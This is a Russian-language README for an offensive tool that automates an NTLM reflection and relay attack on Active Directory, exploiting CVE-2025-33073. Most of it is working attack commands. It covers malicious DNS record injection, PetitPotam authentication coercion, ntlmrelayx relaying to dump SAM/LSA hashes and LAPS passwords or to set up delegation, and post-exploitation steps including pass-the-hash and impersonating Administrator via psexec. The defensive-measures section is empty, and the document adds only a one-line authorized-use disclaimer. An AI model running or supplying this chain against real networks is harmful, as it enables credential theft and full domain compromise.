cupntlm

CVE-2025-33073 — Обход NTLM-рефлексии через принуждение DNS
Инструмент для автоматизированной эксплуатации в средах Active Directory.

Обзор

cupntlm автоматизирует цепочку атаки NTLM reflection/relay, эксплуатирующую CVE-2025-33073. Он объединяет в одном рабочем процессе инъекцию DNS-записей, принудительную аутентификацию (PetitPotam) и ретрансляцию NTLM. Инструмент поддерживает два режима работы в зависимости от объёма целей и требований к скрытности.

Сводка цепочки атаки

Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. Inject DNS record ───────▶│                            │
   │      (attacker IP as target)   │                            │
   │                                │                            │
   │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM auth forwarded back ─────────────────────────────│
   │                                │                            │
   │── 4. Relay to DC ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

Предварительные требования в целевой сети:

• Подпись SMB отключена на целевом ретрансляторе
• Действительная учётная запись домена с низкими привилегиями (достаточно прав только на чтение)
• Сетевой доступ к контроллеру домена (порты 389 LDAP, 445 SMB)

Требования

Системные пакеты

Библиотеки Python

Содержимое каталога exploit/ (автоматически заполняется setup.sh)

exploit/
├── cupntlm.py
├── ntlmrelayx.py       # из impacket
├── dnstool.py          # из krbrelayx
├── lib/                # вспомогательная библиотека krbrelayx
└── PetitPotam.py

Установка

git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

Использование

Режим проверки — оценка возможности атаки

Проверяет статус подписи SMB на целях и валидирует учётные данные домена перед выполнением атаки.

cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

Режим «на цель» — отдельная DNS-запись для каждого хоста

Создаёт уникальную DNS-запись для каждой цели, запускает принуждение по одной за раз и очищает записи между итерациями. Медленнее, но точнее и оставляет меньше шума.

sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Одиночный режим — одна DNS-запись, постоянная ретрансляция

Внедряет одну DNS-запись и держит ntlmrelayx запущенным непрерывно, последовательно перебирая все цели. Быстрее для больших диапазонов.

sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

Формат targets.txt

192.168.1.10
192.168.1.11
192.168.1.12

Ручная эксплуатация

Следующие шаги воспроизводят полную цепочку атаки вручную, без использования cupntlm.py. Полезно для понимания примитивов, отладки или адаптации к нестандартным средам.

Шаг 1 — Определение подписи SMB

Определите хосты, на которых подпись SMB отключена. Это ваши корректные цели для ретрансляции.

netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

Или с помощью nmap:

nmap -p 445 --script smb2-security-mode 192.168.1.0/24

Ищите:

Message signing enabled but not required   ← корректная цель для ретрансляции
Message signing enabled and required       ← ретрансляция невозможна

Шаг 2 — Внедрение вредоносной DNS-записи

Используйте dnstool.py для добавления A-записи в DNS домена, указывающей имя хоста на вашу машину. Когда цель разрешает это имя и проходит аутентификацию, запрос попадает на ваш ретранслятор.

cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # ваш IP атакующего
  --type A \
  10.0.0.1                       # IP контроллера домена

Проверьте, что запись добавлена:

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

Шаг 3 — Запуск слушателя ретрансляции NTLM

Запустите ntlmrelayx.py до запуска принуждения. Он будет ждать входящей аутентификации.

Ретрансляция на SMB — дамп SAM/LSA:

sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

Ретрансляция на LDAP — создание новой учётной записи машины (для RBCD / shadow credentials):

sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

Ретрансляция на LDAPS — дамп секретов домена:

sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

Шаг 4 — Принуждение аутентификации с помощью PetitPotam

Заставьте целевую машину аутентифицироваться на вашей внедрённой DNS-записи. PetitPotam использует интерфейс MS-EFSRPC — для незапатченных хостов учётные данные не требуются, для запатченных используйте действительные.

Без аутентификации (незапатченная цель):

python3 PetitPotam.py \
  [dnsname] \         # ваш IP слушателя (должен совпадать с DNS-записью)
  192.168.1.50             # целевой хост для принуждения

С аутентификацией (запатченная цель, требуются корректные учётные данные):

python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

На этом этапе принуждённый хост отправляет свою NTLM-аутентификацию на вашу машину → ntlmrelayx перехватывает и ретранслирует её.

Шаг 5 — Сбор результатов

В зависимости от выбранной цели ретрансляции на шаге 3:

• Ретрансляция на SMB → ntlmrelayx выводит хеши в stdout и записывает файлы <hostname>_samhashes.txt / _lsahashes.txt
• Ретрансляция с делегированием доступа (LDAP) → ntlmrelayx выводит имя созданной учётной записи машины и пароль; далее используйте getST.py для получения сервисного билета
• Дамп LDAPS → пароли LAPS выводятся напрямую

Шаг 6 — Очистка DNS-записи

Всегда удаляйте внедрённые DNS-записи после завершения работы.

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

Примеры пост-эксплуатации

Pass-the-hash с ретранслированной учётной записью машины:

impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

Получение сервисного билета для S4U2Self (после RBCD):

impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

Использование билета:

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

Меры защиты

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований безопасности.
Не используйте его против систем, на тестирование которых у вас нет явного письменного разрешения.

Благодарности

• fortra/impacket — ntlmrelayx
• dirkjanm/krbrelayx — dnstool
• topotam/PetitPotam — принуждение EFS